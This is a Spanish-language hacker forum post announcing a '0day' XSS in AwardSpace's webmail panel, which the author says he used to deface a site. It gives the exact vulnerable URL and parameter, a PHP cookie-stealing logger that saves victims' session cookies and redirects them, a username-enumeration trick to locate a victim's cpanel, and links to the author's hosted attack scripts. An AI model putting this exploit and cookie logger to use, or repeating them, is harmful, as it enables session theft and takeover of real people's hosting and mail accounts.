0day en AwardSpace.com
Voy a publicar el Bug con el cual cometí el deface a rooteams
hecho famoso por mi en este Topic:
http://remoteexecution.org/foro/index.php?topic=2553 .
lo encontramos con syndr0me la noche del sábado pasado aproximadamente
primero dudábamos un poco en como explotarlo o si funcionaria pero convidado con otra particularidad
en el sistema de AwardSpace lo hace 100% explotable:
el Bug de XSS se encuentra en los Paneles de WebMail.
afecta tanto a las cuentas WebMail como a las cuentas de Hosting
se ubica en el path /mail2/ de los cpanels de AwardSpace, el script se llama IlohaMail
https://cp1.awardspace.com/mail2/
la variable vulnerable : ?user=
que podemos usar para colar codigo Html así :
https://cp1.awardspace.com/mail2/source/index.php?user=”><h1>Www.F-security.Com.Ar</h1>
(: ahí todo dicho con un poco de creatividad :
teniendo knet.js de contenido alert(”Vulnerable:\n”+document.cookie)
lo que hice en el vídeo fue direccionar a un archivo .php que guardaba los pedidos get en un archivo
( guardmela_cookies.txt )
contenido del archivo php:
<?
$cookie=$_GET[c];
$fp=fopen(’public.txt’,'a’);
fwrite($fp,”\n”.’Cookie:’.”\n”.htmlentities($cookie).”\n”.’====================================================’.”\n”);
fclose($fp);
header(”Location:http://www.google.com/”);
?>
lo demas a su imaginación.
un pequeño detalle :
si a la víctima a robar usa un número de cpanel distinto, el robo de cookies no tendría efecto.
por logica necesitamos saber de alguna manera en que cpanel se aloja la victima, yo lo encontre (:
se hace así :
nos dirigimos a http://www.awardspace.com/login.html
y colocamos el supuesto user de la web y una contraseña cualquiera
si es correcto el user nos redirigira al cpanel donde se hostea 
EJ: pongan. user:rooteam2 pass:knet
y veran que los redirige al cpanel numero 8
entonces nos dara la posibilidad de crear nuestro xss personalizado para el cpanel webmail número 8
algunas herramientas para este xss ONLINE:
www.f-security.com.ar/public.js
www.f-security.com.ar/public.php
www.f-security.com.ar/public.txt
Webs vulnerables:
http://www.google.com.ar/search?hl=es&q=related%3Aawardspace.com&btnG=Buscar&meta=
incluidos zettahost y hostsecure
Saludos
Knet
